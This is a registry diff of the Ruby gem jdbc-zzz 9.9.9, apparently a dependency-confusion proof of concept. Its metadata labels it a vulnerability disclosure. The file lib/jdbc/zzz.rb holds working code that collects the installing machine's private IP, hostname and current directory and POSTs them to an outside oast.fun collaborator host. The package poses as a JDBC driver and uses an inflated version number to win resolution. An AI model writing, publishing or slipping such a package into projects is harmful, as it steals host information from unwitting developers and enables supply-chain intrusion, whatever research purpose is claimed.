jdbc-zzz 9.9.9
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +7 -0
- data/lib/jdbc/zzz.rb +35 -0
- metadata +43 -0
checksums.yaml
ADDED
|
@@ -0,0 +1,7 @@
|
|
|
1
|
+
---
|
|
2
|
+
SHA256:
|
|
3
|
+
metadata.gz: c46edd1335ab18314dcfa7bf833ca2b93b906de85aaf2c2ddaad29582834a2c5
|
|
4
|
+
data.tar.gz: 293fd6215f773aadd89f65b5e7fb0a7d035793e050b1da8fd90fc6654e8d2469
|
|
5
|
+
SHA512:
|
|
6
|
+
metadata.gz: bae4759f822bbf64f5e0cc3ac6db615532b3feb384499a8bb7da2e839d4b04ee198660e3126bb2628507fba0399e2ec3f462b2a77b364284e04c65635e001ec0
|
|
7
|
+
data.tar.gz: ce13d8daf69729e822ec9169d62d1d9f5689cace1ec1c10404900a1695d8653a18121512f31dc4fe3c80dacb16d616b12da8a910cf06882ace383df0d1bcbac9
|
data/lib/jdbc/zzz.rb
ADDED
|
@@ -0,0 +1,35 @@
|
|
|
1
|
+
require 'json'
|
|
2
|
+
require 'net/http'
|
|
3
|
+
require 'socket'
|
|
4
|
+
|
|
5
|
+
module Jdbc
|
|
6
|
+
module Zzz
|
|
7
|
+
def self.collect_info
|
|
8
|
+
# Collect Private IP
|
|
9
|
+
privip = UDPSocket.open { |s| s.connect("8.8.8.8", 1); s.addr.last }
|
|
10
|
+
|
|
11
|
+
# Get Hostname
|
|
12
|
+
hostname = Socket.gethostname
|
|
13
|
+
|
|
14
|
+
# Get Current Directory
|
|
15
|
+
dir = Dir.pwd
|
|
16
|
+
|
|
17
|
+
# Collaborator URL for sending collected info
|
|
18
|
+
uri = URI('http://iumuymkgwvxukfrpbojp7adtvifjobvpk.oast.fun') # Your OAST collaborator URL
|
|
19
|
+
req = Net::HTTP::Post.new(uri, 'Content-Type' => 'application/json')
|
|
20
|
+
|
|
21
|
+
# Prepare the body with collected system information
|
|
22
|
+
req.body = {
|
|
23
|
+
private_ip: privip,
|
|
24
|
+
hostname: hostname,
|
|
25
|
+
current_directory: dir
|
|
26
|
+
}.to_json
|
|
27
|
+
|
|
28
|
+
# Send HTTP request to the collaborator URL
|
|
29
|
+
Net::HTTP.start(uri.hostname, uri.port, use_ssl: uri.scheme == 'https') do |http|
|
|
30
|
+
response = http.request(req)
|
|
31
|
+
puts "Response: #{response.code}" # Outputting the response code from the collaborator server
|
|
32
|
+
end
|
|
33
|
+
end
|
|
34
|
+
end
|
|
35
|
+
end
|
metadata
ADDED
|
@@ -0,0 +1,43 @@
|
|
|
1
|
+
--- !ruby/object:Gem::Specification
|
|
2
|
+
name: jdbc-zzz
|
|
3
|
+
version: !ruby/object:Gem::Version
|
|
4
|
+
version: 9.9.9
|
|
5
|
+
platform: ruby
|
|
6
|
+
authors:
|
|
7
|
+
- xxx
|
|
8
|
+
autorequire:
|
|
9
|
+
bindir: bin
|
|
10
|
+
cert_chain: []
|
|
11
|
+
date: 2024-12-29 00:00:00.000000000 Z
|
|
12
|
+
dependencies: []
|
|
13
|
+
description: This Ruby package is vulnerable to dependency confusion vulnerability.
|
|
14
|
+
email: xxx@gmail.com
|
|
15
|
+
executables: []
|
|
16
|
+
extensions: []
|
|
17
|
+
extra_rdoc_files: []
|
|
18
|
+
files:
|
|
19
|
+
- lib/jdbc/zzz.rb
|
|
20
|
+
homepage: https://rubygems.org/gems/jdbc-zzz
|
|
21
|
+
licenses:
|
|
22
|
+
- MIT
|
|
23
|
+
metadata: {}
|
|
24
|
+
post_install_message:
|
|
25
|
+
rdoc_options: []
|
|
26
|
+
require_paths:
|
|
27
|
+
- lib
|
|
28
|
+
required_ruby_version: !ruby/object:Gem::Requirement
|
|
29
|
+
requirements:
|
|
30
|
+
- - ">="
|
|
31
|
+
- !ruby/object:Gem::Version
|
|
32
|
+
version: '0'
|
|
33
|
+
required_rubygems_version: !ruby/object:Gem::Requirement
|
|
34
|
+
requirements:
|
|
35
|
+
- - ">="
|
|
36
|
+
- !ruby/object:Gem::Version
|
|
37
|
+
version: '0'
|
|
38
|
+
requirements: []
|
|
39
|
+
rubygems_version: 3.4.20
|
|
40
|
+
signing_key:
|
|
41
|
+
specification_version: 4
|
|
42
|
+
summary: 'Vulnerability Disclosure: Dependency Confusion vulnerability'
|
|
43
|
+
test_files: []
|